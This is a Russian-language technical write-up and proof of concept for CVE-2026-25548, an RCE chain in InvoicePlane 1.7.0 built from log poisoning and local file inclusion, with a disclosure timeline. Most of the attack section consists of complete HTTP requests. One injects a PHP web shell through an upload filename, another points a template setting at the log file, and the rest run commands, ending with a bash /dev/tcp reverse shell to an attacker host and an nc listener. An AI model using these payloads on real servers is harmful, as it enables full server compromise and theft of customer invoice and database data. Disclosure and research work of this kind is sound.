
# CVE-2026-25548 — Подробный технический разбор и PoC Подробный технический разбор и proof-of-concept для CVE-2026-25548 — критической RCE-уязвимости в InvoicePlane 1.7.0 через LFI и отравление логов, включая цепочку атаки, PoC-запросы и анализ воздействия.
Уязвимость: Удалённое выполнение кода через локальное включение файлов (LFI) + отравление журналов (Log Poisoning)
Продукт: InvoicePlane
Затронутая версия: 1.7.0 (и, вероятно, более ранние версии)
Критичность: Критическая
Оценка CVSS 3.1: 9.1 (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H)
CWE: CWE-98, CWE-117, CWE-94
Обнаружил: Leonidas Agathos
Дата отчёта: 2026-01-31
Критическая цепочка уязвимостей в InvoicePlane 1.7.0 позволяет аутентифицированному администратору добиться удалённого выполнения кода (RCE) на сервере. Атака объединяет две слабости:
.php-файлы журналов CodeIgniter, что позволяет внедрять произвольный PHP-код.При объединении этих уязвимостей злоумышленник с правами администратора может полностью скомпрометировать сервер от имени пользователя веб-сервера. Финальный запуск RCE не требует аутентификации (публичный URL счёта).
| Атрибут | Значение |
|---|---|
| Файл | application/modules/guest/controllers/View.php |
| Строки | 85, 191 |
| Параметр | public_invoice_template (настройка базы данных) |
| CWE | CWE-98: Некорректный контроль имени файла для оператора Include/Require |
Уязвимый код (View.php:85):
$this->load->view('invoice_templates/public/' .
get_setting('public_invoice_template') . '.php', $data);
Уязвимый код (View.php:191):
$this->load->view('quote_templates/public/' .
get_setting('public_quote_template') . '.php', $data);
Настройки public_invoice_template и public_quote_template извлекаются из базы данных и напрямую подставляются в путь к файлу, передаваемый в load->view() CodeIgniter (который разрешается в PHP-функцию include()). Отсутствует какая-либо проверка на:
../)Администратор может установить это значение на любой путь в файловой системе, ограниченный только автоматически добавляемым расширением .php.
| Атрибут | Значение |
|---|---|
| Файл | application/modules/upload/controllers/Upload.php |
| Строки | 178–184 |
| Параметр | Имя загружаемого файла (данные HTTP multipart-формы) |
| CWE | CWE-117: Некорректная нейтрализация вывода для журналов |
Уязвимый код (Upload.php:178-184):
private function sanitize_file_name(string $filename): string
{
if (str_contains($filename, '..')
|| str_contains($filename, '/')
|| str_contains($filename, '\\')
|| str_contains($filename, "\0")) {
log_message('error', 'Path traversal attempt detected in filename: ' . $filename);
return '';
}
// ...
}
Когда имя файла вызывает срабатывание проверки обхода каталога, сырое, неочищенное имя файла записывается непосредственно в файл журнала. Файлы журналов CodeIgniter:
.php: application/logs/log-ГГГГ-ММ-ДД.php<?php defined('BASEPATH') OR exit('No direct script access allowed'); ?>Злоумышленник, встраивающий <?php system($_GET[1]); ?> в имя файла, приводит к записи этой полезной нагрузки в журнал и её последующему выполнению через LFI.
[Аутентифицированный пользователь] → Загрузка вредоносного имени файла → PHP внедрён в файл журнала
[Администратор] → Установка настройки шаблона → LFI указывает на файл журнала
[Любой пользователь] → Посещение публичного URL счёта → RCE
| Шаг | Требование |
|---|---|
| Отравление журналов | Аутентифицированный пользователь с доступом к загрузке |
| Настройка LFI | Учётная запись администратора |
| Запуск RCE | Без аутентификации (публичный URL счёта) |
Отправьте запрос на загрузку файла с PHP-веб-шеллом, встроенным в имя файла. Проверка обхода каталога сработает и запишет сырое имя файла (включая PHP-полезную нагрузку) в файл журнала.
Запрос (через Burp Suite):
POST /index.php/upload/upload_file/3/13phvCzZiPyOXKYeJBk084jHL5NTGn9d HTTP/1.1
Host: 172.25.0.12
Cookie: ip_csrf_cookie=...; ip_session=...
Content-Type: multipart/form-data; boundary=----Boundary
------Boundary
Content-Disposition: form-data; name="_ip_csrf"
<csrf_token>
------Boundary
Content-Disposition: form-data; name="file"; filename="..<?php system($_GET[1]); ?>.jpg"
Content-Type: image/jpeg
test
------Boundary--
Сервер отклоняет загрузку (upload_error_invalid_extension), но запись в журнале уже создана:
Результат в application/logs/log-2026-01-31.php:
ERROR - 2026-01-31 10:35:06 --> Path traversal attempt detected in filename: ..<?php system($_GET[1]); ?>.jpg
Перейдите в раздел Вложения счёта и нажмите Добавить файлы, чтобы получить доступ к конечной точке загрузки.



Будучи администратором, установите настройку public_invoice_template так, чтобы она указывала на сегодняшний файл журнала, используя полезную нагрузку обхода пути. Загрузчик представлений CodeIgniter автоматически добавляет .php.
Запрос (через Burp Suite):
POST /index.php/settings HTTP/1.1
Host: 172.25.0.12
Cookie: ip_csrf_cookie=...; ip_session=<admin_session>
Content-Type: multipart/form-data; boundary=----Boundary
------Boundary
Content-Disposition: form-data; name="settings[public_invoice_template]"
../../../logs/log-2026-01-31
------Boundary--
Путь обхода разрешается из application/views/invoice_templates/public/ вверх до application/logs/, после чего включается файл log-2026-01-31.php.

Получите доступ к любому публичному URL счёта с командой, переданной в качестве GET-параметра 1. Аутентификация не требуется.
Запрос:
GET /index.php/guest/view/invoice/<invoice_url_key>?1=id HTTP/1.1
Host: 172.25.0.12
Ответ (в исходном коде страницы):
Path traversal attempt detected in filename: ..uid=1000(www-data) gid=1000(www-data) groups=1000(www-data)
.jpg
Полезная нагрузка system($_GET[1]) выполняет команду id, и её вывод отражается непосредственно на странице.

Замените команду на полезную нагрузку bash reverse shell, чтобы получить интерактивную оболочку:
GET /index.php/guest/view/invoice/<invoice_url_key>?1=bash+-c+'bash+-i+>%26+/dev/tcp/192.168.25.131/4444+0>%261' HTTP/1.1
На машине атакующего:
nc -lnvp 4444
Результат:
connect to [192.168.25.131] from (UNKNOWN) [172.25.0.11] 43360
www-data@0dd592f7a424:~/projects/invoiceplane$
Полноценная интерактивная оболочка от имени www-data.

| Аспект | Оценка | Детали |
|---|---|---|
| Конфиденциальность | ВЫСОКАЯ | Полный доступ на чтение ко всем файлам, доступным пользователю веб-сервера, включая учётные данные базы данных и данные счетов клиентов |
| Целостность | ВЫСОКАЯ | Произвольная запись файлов, модификация базы данных, установка веб-шеллов |
| Доступность | ВЫСОКАЯ | Отказ в обслуживании, развёртывание программ-вымогателей, уничтожение системы |
| Файл | Уязвимость |
|---|---|
application/modules/guest/controllers/View.php:85 | LFI — Шаблон счёта |
application/modules/guest/controllers/View.php:191 | LFI — Шаблон предложения |
application/modules/upload/controllers/Upload.php:182 | Отравление журналов |
application/modules/settings/controllers/Settings.php | Отсутствие проверки настройки шаблона |
| Дата | Событие |
|---|---|
| 2026-01-30 | Уязвимость обнаружена |
| 2026-01-31 | Разработано доказательство концепции |
| 2026-01-31 | Вендор уведомлён |
| 2026-02-03 | Подтверждение вендора |
| 2026-02-03 | Выпущен патч |
| 2026-02-04 | Публичное раскрытие |
Эта уязвимость была обнаружена в ходе независимого исследования безопасности. Вся информация предоставлена строго в образовательных, исследовательских и защитных целях, чтобы помочь вендору и сообществу специалистов по безопасности понять и устранить проблему. Любое вредоносное использование этой информации строго запрещено.